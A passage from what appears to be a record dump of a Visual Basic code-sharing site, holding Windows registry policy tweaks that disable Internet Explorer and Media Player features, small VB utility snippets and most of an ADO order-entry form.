Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserContextMenu\n\nData Type : DWORD = 00000001\n \n\nDisable Options in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserOptions\n\nData Type : DWORD = 00000001\n \n\nDisable Saving Pages in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoBrowserSaveAs\n\nData Type : DWORD = 00000001\n \n\nDisable Favorites in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFavorites\n\nData Type : DWORD = 00000001\n \n\nDisable File Menu New Object in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFileNew\n\nData Type : DWORD = 00000001\n \n\nDisable File Menu Open Object in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFileOpen\n\nData Type : DWORD = 00000001\n \n\nDisable Finding Files in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoFindFiles\n\nData Type : DWORD = 00000001\n \n\nDisable Opening Files in New Window from Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoOpenInNewWnd\n\nData Type : DWORD = 00000001\n \n\nDisable Selectable Download Directory in Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoSelectDownloadDir\n\nData Type : DWORD = 00000001\n \n\nDisable Viewing in Theater Mode from Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoTheaterMode\n\nData Type : DWORD = 00000001\n\nDisable Viewing Source in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Restrictions\\NoViewSource\n\nData Type : DWORD = 00000001\n \n\nDisable Adding Channels in Web Browser – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoAddingChannels\n\nData Type : DWORD = 00000001\n \n\nDisable Adding Subscriptions in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoAddingSubscriptions\n\nData Type : DWORD = 00000001\n \n\nDisable Removing Channels in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoRemovingChannels\n\nData Type : DWORD = 00000001\n \n\nDisable Removing Subscriptions in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoRemovingSubscriptions\n\nData Type : DWORD = 00000001\n \n\nDisable Search Customization in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Infodelivery\\Restrictions\\NoSearchCustomization\n\nData Type : DWORD = 00000001\n \n\nDisable Running the Connection Wizard – Internet Explorer\nOnly\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\Control Panel\\Connwiz\nAdmin Lock\n\nData Type : DWORD = 00000001\n \n\nDisable Importing or Exporting Favorites in Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Policies\\Microsoft\\Internet\nExplorer\\DisableImportExportFavorites\n\nData Type : DWORD = 00000001\n \n\nDisable Using the Microsoft Script Debugger in Web Browser\n– Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Disable\nScript Debugger\n\nData Type : String = "yes"\n \n\nDisable Using AutoComplete Forms in Web Browser – Internet\nExplorer 5.0 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Use\nFormSuggest\n\nData Type : String = "no"\n \n\nDisable Using AutoComplete Password in Web Browser –\nInternet Explorer 5.0 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\FormSuggest\nPasswords\n\nData Type : String = "no"\n \n\nDisable Download Notification in Web Browser – Internet\nExplorer 5.0 Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\NotifyDownloadComplete\n\nData Type : String = "no"\n \n\nDisable Error Notification in Web Browser – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Err\nDlg Displayed On Every Error\n\nData Type : String = "no"\n \n\nDisable Go Button in Web Browser – Internet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\ShowGoButton\n\nData Type : String = "no"\n \n\nDisable Using a Custom Search Page in Web Browser –\nInternet Explorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Use\nCustom Search URL\n\nData Type : DWORD = 00000000\n \n\nUse Custom Title for Web Browser Windows – Internet\nExplorer Only\n\nHKEY_CURRENT_USER\\Software\\Microsoft\\Internet Explorer\\Main\\Window\nTitle\n\nData Type : String = "{Your Custom Text}"\n \n\nDisable Finding New Station in Media Play – Windows Media\nPlayer Only\n\nHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsMediaPlayer\\NoFindNewStations\n\nData Type : DWORD = 00000001\n \n\nDisable Media Favorites from Media Player – Windows Media\nPlayer Only\n\nHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsMediaPlayer\\NoMediaFavorites\n\nData Type : DWORD = 00000001\n \n\nDisable Radio Bar for Media Player – Windows Media Player\n& Internet Explorer Only\n\nHKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\WindowsMediaPlayer\\NoRadioBar\n\nData Type : DWORD = 00000001\n \n\nDisable Installation of ISP Distribution Kit for Microsoft\nInternet Explorer – Internet Explorer 5.0 Only\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Internet Connection\nWizard\\CanInstallISPKit5\n\nData Type : String = "no"\n \n\nDisable Media Player Upgrade Message – Windows Media Player\nOnly\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\MediaPlayer\\PlayerUpgrade\\AskMeAgain\n\nData Type : String = "no"\n \n\nDisable Microsoft Office Tune Up – Microsoft Office 2000\nOnly\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office\\9.0\\Common\\TuneUp\\Disabled\n\nData Type : DWORD = 00000001\n \n\nDisable AutoComplete in Explorer – Win98/2000 Only\n\nHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\AutoComplete\\Use\nAutoComplete\n\nData Type : String = "no"\n"},{"WorldId":1,"id":8701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8716,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8722,"LineNumber":1,"line":"Public Function ParseDelimitedText(strSource As String, strDelimiter As String) As Variant()\n 'Comm:\n 'Will take the passed string and parse it out to an array which can then be itereated through\n 'with a for ..next loop bounded by lbound(ParseDelimitedText) and ubound(ParseDelimitedText)\n 'quote delimited doesn't really work with this, but as you'd need top pass the string loaded with\n 'chr$(34)'s anyway I guess it doesn't matter.\n 'enh: 06/07/2000 switched delimiter from comma to anything BUT quotes\n 'decl:\n Dim intTest As Integer\n Dim intStart As String, intEnd As String\n Dim varHold() As Variant\n 'Code:\n intStart = 1\n ReDim varHold(0)\n Do While InStr(intStart, strSource, strDelimiter) <> 0 Or intStart < Len(strSource)\n If intStart <> 1 Then ReDim Preserve varHold(UBound(varHold) + 1)\n intEnd = InStr(intStart, strSource, strDelimiter)\n If intEnd = 0 Then intEnd = Len(strSource)\n 'increase the array to hold the new value\n \n varHold(UBound(varHold)) = CVar(Mid$(strSource, intStart, intEnd - intStart))\n intStart = intEnd + 1 'slap the end as the new start position\n \n Loop\n 'Assign:\n ParseDelimiter = varHold\n 'for debugging to the immediate window\n For intTest = LBound(varHold) To UBound(varHold)\n Debug.Print \"#\" & intTest & \": \" & varHold(intTest)\n Next\n \nEnd Function\n"},{"WorldId":1,"id":8725,"LineNumber":1,"line":"Run the exported Registry file by double clicking on it. Now right click on a .DLL or .OCX file in the explorer. Notice the new menu option in the context menu. You can edit the .reg file using Notepad.exe and change the menu caption Or associate more programs with the same extension.\nIf you don't see the new menu option you will have to locate the regsvr32.exe and change its path in the .REG file and run(double click) it again.\n\nHave fun !"},{"WorldId":1,"id":8729,"LineNumber":1,"line":"Private Sub Creat_Table()\n Dim stSQLstr As String\n Dim dbs As Database\n stSQLstr = \"CREATE TABLE NameTbl (NameID COUNTER CONSTRAINT PrimaryKey PRIMARY KEY, FirstName Text (15), LastName Text (20));\"\n Set dbs = OpenDatabase(\"c:\\test\\Demo.mdb\")\n dbs.Execute stSQLstr\n dbs.Close\nEnd Sub"},{"WorldId":1,"id":8730,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8734,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8735,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8743,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8747,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8751,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8752,"LineNumber":1,"line":"After navigating to the desired webpage, execute the following line: \nmyTextBox.Text = myWebBrowser.Document.documentElement.innerHTML\n"},{"WorldId":1,"id":8755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8760,"LineNumber":1,"line":"' function to intercept keypresses to combo box and allow\n' only valid keys (such as are in list)\n'\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n Dim NewText As String\n Dim ValidCount As Integer\n Dim ValidValue As String\n ' do only if key pressed is printable character\n If KeyAscii >= 32 And KeyAscii <> 127 Then\n \n ' predict new text after keypress\n NewText = LCase(Left(Combo1.Text, Combo1.SelStart) + Chr(KeyAscii) + Mid(Combo1.Text, Combo1.SelStart + Combo1.SelLength + 1))\n \n ' find number of matches in combo list\n ValidCount = 0\n ValidValue = \"\"\n For i = 0 To Combo1.ListCount - 1\n If NewText = LCase(Left(Combo1.List(i), Len(NewText))) Then\n ValidCount = ValidCount + 1\n ValidValue = Combo1.List(i)\n End If\n Next\n \n ' cancel keypress if invalid\n If ValidCount <= 1 Then KeyAscii = 0\n ' select if one match only\n If ValidCount = 1 Then\n Combo1.Text = ValidValue\n Combo1.SelStart = 0\n Combo1.SelLength = Len(ValidValue)\n End If\n End If\nEnd Sub\n"},{"WorldId":1,"id":8768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8771,"LineNumber":1,"line":"VERSION 5.00\nObject = \"{CDE57A40-8B86-11D0-B3C6-00A0C90AEA82}#1.0#0\"; \"MSDATGRD.OCX\"\nBegin VB.Form ADOHeaderDetail \n BorderStyle = 1 'Fixed Single\n Caption = \"Order Entry - ADO Header-Detail Sample by Walter A. Narvasa\"\n ClientHeight = 6495\n ClientLeft = 1095\n ClientTop = 390\n ClientWidth = 9735\n KeyPreview = -1 'True\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 6495\n ScaleWidth = 9735\n StartUpPosition = 2 'CenterScreen\n Begin VB.PictureBox picButtons \n Align = 2 'Align Bottom\n Appearance = 0 'Flat\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 300\n Left = 0\n ScaleHeight = 300\n ScaleWidth = 9735\n TabIndex = 34\n Top = 5895\n Width = 9735\n Begin VB.CommandButton cmdCancel \n Caption = \"&Undo\"\n Height = 300\n Left = 3600\n TabIndex = 41\n Top = 0\n Visible = 0 'False\n Width = 1095\n End\n Begin VB.CommandButton cmdClose \n Caption = \"E&xit\"\n Height = 300\n Left = 4800\n TabIndex = 39\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdRefresh \n Caption = \"&Refresh\"\n Height = 300\n Left = 3600\n TabIndex = 38\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdAdd \n Caption = \"&New\"\n Height = 300\n Left = 0\n TabIndex = 35\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdEdit \n Caption = \"&Edit\"\n Height = 300\n Left = 1200\n TabIndex = 36\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdUpdate \n Caption = \"&Save\"\n Height = 300\n Left = 2400\n TabIndex = 40\n Top = 0\n Visible = 0 'False\n Width = 1095\n End\n Begin VB.CommandButton cmdDelete \n Caption = \"&Delete\"\n Height = 300\n Left = 2400\n TabIndex = 37\n Top = 0\n Width = 1095\n End\n End\n Begin VB.PictureBox picStatBox \n Align = 2 'Align Bottom\n Appearance = 0 'Flat\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 300\n Left = 0\n ScaleHeight = 300\n ScaleWidth = 9735\n TabIndex = 28\n Top = 6195\n Width = 9735\n Begin VB.CommandButton cmdLast \n Height = 300\n Left = 4545\n Picture = \"ADOHeaderDetail.frx\":0000\n Style = 1 'Graphical\n TabIndex = 32\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.CommandButton cmdNext \n Height = 300\n Left = 4200\n Picture = \"ADOHeaderDetail.frx\":0342\n Style = 1 'Graphical\n TabIndex = 31\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.CommandButton cmdPrevious \n Height = 300\n Left = 345\n Picture = \"ADOHeaderDetail.frx\":0684\n Style = 1 'Graphical\n TabIndex = 30\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.CommandButton cmdFirst \n Height = 300\n Left = 0\n Picture = \"ADOHeaderDetail.frx\":09C6\n Style = 1 'Graphical\n TabIndex = 29\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.Label lblStatus \n BackColor = &H00FFFFFF&\n BorderStyle = 1 'Fixed Single\n Height = 285\n Left = 690\n TabIndex = 33\n Top = 0\n Width = 3360\n End\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipVia\"\n Height = 285\n Index = 13\n Left = 5640\n TabIndex = 27\n Top = 2415\n Width = 3375\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipRegion\"\n Height = 285\n Index = 12\n Left = 5640\n TabIndex = 25\n Top = 2100\n Width = 3375\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipPostalCode\"\n Height = 285\n Index = 11\n Left = 5640\n TabIndex = 23\n Top = 1785\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"ShippedDate\"\n Height = 285\n Index = 10\n Left = 5640\n TabIndex = 21\n Top = 1455\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipName\"\n Height = 285\n Index = 9\n Left = 5640\n TabIndex = 19\n Top = 1140\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipCountry\"\n Height = 285\n Index = 8\n Left = 5640\n TabIndex = 17\n Top = 825\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipCity\"\n Height = 285\n Index = 7\n Left = 5640\n TabIndex = 15\n Top = 495\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipAddress\"\n Height = 285\n Index = 6\n Left = 5640\n TabIndex = 13\n Top = 180\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"RequiredDate\"\n Height = 285\n Index = 5\n Left = 2040\n TabIndex = 11\n Top = 1785\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"Freight\"\n Height = 285\n Index = 4\n Left = 2040\n TabIndex = 9\n Top = 1455\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"CustomerID\"\n Height = 285\n Index = 3\n Left = 2040\n TabIndex = 7\n Top = 1140\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"EmployeeID\"\n Height = 285\n Index = 2\n Left = 2040\n TabIndex = 5\n Top = 825\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"OrderDate\"\n Height = 285\n Index = 1\n Left = 2040\n TabIndex = 3\n Top = 495\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"OrderID\"\n Height = 285\n Index = 0\n Left = 2040\n TabIndex = 1\n Top = 180\n Width = 1455\n End\n Begin MSDataGridLib.DataGrid grdDataGrid \n Height = 2745\n Left = 120\n TabIndex = 42\n Top = 3000\n Width = 9360\n _ExtentX = 16510\n _ExtentY = 4842\n _Version = 393216\n AllowUpdate = 0 'False\n HeadLines = 1\n RowHeight = 15\n BeginProperty HeadFont {0BE35203-8F91-11CE-9DE3-00AA004BB851} \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n ColumnCount = 2\n BeginProperty Column00 \n DataField = \"\"\n Caption = \"\"\n BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} \n Type = 0\n Format = \"\"\n HaveTrueFalseNull= 0\n FirstDayOfWeek = 0\n FirstWeekOfYear = 0\n LCID = 1033\n SubFormatType = 0\n EndProperty\n EndProperty\n BeginProperty Column01 \n DataField = \"\"\n Caption = \"\"\n BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} \n Type = 0\n Format = \"\"\n HaveTrueFalseNull= 0\n FirstDayOfWeek = 0\n FirstWeekOfYear = 0\n LCID = 1033\n SubFormatType = 0\n EndProperty\n EndProperty\n SplitCount = 1\n BeginProperty Split0 \n BeginProperty Column00 \n EndProperty\n BeginProperty Column01 \n EndProperty\n EndProperty\n End\n Begin VB.Label lblLabels \n Caption = \"Detail Information:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 14\n Left = 120\n TabIndex = 43\n Top = 2760\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipVia:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 13\n Left = 3720\n TabIndex = 26\n Top = 2415\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipRegion:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 12\n Left = 3720\n TabIndex = 24\n Top = 2100\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipPostalCode:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 11\n Left = 3720\n TabIndex = 22\n Top = 1785\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShippedDate:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 10\n Left = 3720\n TabIndex = 20\n Top = 1455\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipName:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 9\n Left = 3720\n TabIndex = 18\n Top = 1140\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipCountry:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 8\n Left = 3720\n TabIndex = 16\n Top = 825\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipCity:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 7\n Left = 3720\n TabIndex = 14\n Top = 495\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipAddress:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 6\n Left = 3720\n TabIndex = 12\n Top = 180\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"RequiredDate:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 5\n Left = 120\n TabIndex = 10\n Top = 1785\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"Freight:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 4\n Left = 120\n TabIndex = 8\n Top = 1455\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"CustomerID:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 3\n Left = 120\n TabIndex = 6\n Top = 1140\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"EmployeeID:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 2\n Left = 120\n TabIndex = 4\n Top = 825\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"OrderDate:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 1\n Left = 120\n TabIndex = 2\n Top = 495\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"OrderID:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 0\n Left = 120\n TabIndex = 0\n Top = 180\n Width = 1815\n End\nEnd\nAttribute VB_Name = \"ADOHeaderDetail\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\n'Program Sample by: Walter A. Narvasa\n'Country: Philippines\n'Experience: 6 years in Database Programming\n'Email: walter@wancom.8k.com\n'Website: wancom.8k.com\nDim WithEvents adoPrimaryRS As Recordset\nAttribute adoPrimaryRS.VB_VarHelpID = -1\nDim mbChangedByCode As Boolean\nDim mvBookMark As Variant\nDim mbEditFlag As Boolean\nDim mbAddNewFlag As Boolean\nDim mbDataChanged As Boolean\nPrivate Sub Form_Load()\n Dim db As Connection\n Set db = New Connection\n db.CursorLocation = adUseClient\n db.Open \"PROVIDER=MSDataShape;Data PROVIDER=Microsoft.Jet.OLEDB.3.51;Data Source=D:\\Program Language\\Microsoft Visual Studio\\VB98\\NWIND.MDB;\"\n Set adoPrimaryRS = New Recordset\n adoPrimaryRS.Open \"SHAPE {select OrderID,OrderDate,EmployeeID,CustomerID,Freight,RequiredDate,ShipAddress,ShipCity,ShipCountry,ShipName,ShippedDate,ShipPostalCode,ShipRegion,ShipVia from Orders Order by OrderID} AS ParentCMD APPEND ({select OrderID,ProductID,Quantity,UnitPrice,Discount from [Order Details] Order by ProductID } AS ChildCMD RELATE OrderID TO OrderID) AS ChildCMD\", db, adOpenStatic, adLockOptimistic\n Dim oText As TextBox\n 'Bind the text boxes to the data provider\n For Each oText In Me.txtFields\n Set oText.DataSource = adoPrimaryRS\n Next\n Set grdDataGrid.DataSource = adoPrimaryRS(\"ChildCMD\").UnderlyingValue\n mbDataChanged = False\nEnd Sub\nPrivate Sub Form_Resize()\n On Error Resume Next\n 'This will resize the grid when the form is resized\n grdDataGrid.Width = Me.ScaleWidth\n grdDataGrid.Height = Me.ScaleHeight - grdDataGrid.Top - 30 - picButtons.Height - picStatBox.Height\n lblStatus.Width = Me.Width - 1500\n cmdNext.Left = lblStatus.Width + 700\n cmdLast.Left = cmdNext.Left + 340\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n If mbEditFlag Or mbAddNewFlag Then Exit Sub\n Select Case KeyCode\n Case vbKeyEscape\n cmdClose_Click\n Case vbKeyEnd\n cmdLast_Click\n Case vbKeyHome\n cmdFirst_Click\n Case vbKeyUp, vbKeyPageUp\n If Shift = vbCtrlMask Then\n cmdFirst_Click\n Else\n cmdPrevious_Click\n End If\n Case vbKeyDown, vbKeyPageDown\n If Shift = vbCtrlMask Then\n cmdLast_Click\n Else\n cmdNext_Click\n End If\n End Select\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Screen.MousePointer = vbDefault\nEnd Sub\nPrivate Sub adoPrimaryRS_MoveComplete(ByVal adReason As ADODB.EventReasonEnum, ByVal pError As ADODB.Error, adStatus As ADODB.EventStatusEnum, ByVal pRecordset As ADODB.Recordset)\n 'This will display the current record position for this recordset\n lblStatus.Caption = \"Record: \" & CStr(adoPrimaryRS.AbsolutePosition)\nEnd Sub\nPrivate Sub adoPrimaryRS_WillChangeRecord(ByVal adReason As ADODB.EventReasonEnum, ByVal cRecords As Long, adStatus As ADODB.EventStatusEnum, ByVal pRecordset As ADODB.Recordset)\n 'This is where you put validation code\n 'This event gets called when the following actions occur\n Dim bCancel As Boolean\n Select Case adReason\n Case adRsnAddNew\n Case adRsnClose\n Case adRsnDelete\n Case adRsnFirstChange\n Case adRsnMove\n Case adRsnRequery\n Case adRsnResynch\n Case adRsnUndoAddNew\n Case adRsnUndoDelete\n Case adRsnUndoUpdate\n Case adRsnUpdate\n End Select\n If bCancel Then adStatus = adStatusCancel\nEnd Sub\nPrivate Sub cmdAdd_Click()\n On Error GoTo AddErr\n With adoPrimaryRS\n If Not (.BOF And .EOF) Then\n mvBookMark = .Bookmark\n End If\n .AddNew\n lblStatus.Caption = \"Add record\"\n mbAddNewFlag = True\n SetButtons False\n End With\n Exit Sub\nAddErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdDelete_Click()\n On Error GoTo DeleteErr\n With adoPrimaryRS\n .Delete\n .MoveNext\n If .EOF Then .MoveLast\n End With\n Exit Sub\nDeleteErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdRefresh_Click()\n 'This is only needed for multi user apps\n On Error GoTo RefreshErr\n Set grdDataGrid.DataSource = Nothing\n adoPrimaryRS.Requery\n Set grdDataGrid.DataSource = adoPrimaryRS(\"ChildCMD\").UnderlyingValue\n Exit Sub\nRefreshErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdEdit_Click()\n On Error GoTo EditErr\n lblStatus.Caption = \"Edit record\"\n mbEditFlag = True\n SetButtons False\n Exit Sub\nEditErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub cmdCancel_Click()\n On Error Resume Next\n SetButtons True\n mbEditFlag = False\n mbAddNewFlag = False\n adoPrimaryRS.CancelUpdate\n If mvBookMark > 0 Then\n adoPrimaryRS.Bookmark = mvBookMark\n Else\n adoPrimaryRS.MoveFirst\n End If\n mbDataChanged = False\nEnd Sub\nPrivate Sub cmdUpdate_Click()\n On Error GoTo UpdateErr\n adoPrimaryRS.UpdateBatch adAffectAll\n If mbAddNewFlag Then\n adoPrimaryRS.MoveLast 'move to the new record\n End If\n mbEditFlag = False\n mbAddNewFlag = False\n SetButtons True\n mbDataChanged = False\n Exit Sub\nUpdateErr:\n MsgBox Err.Description\nEnd Sub\nPrivate Sub 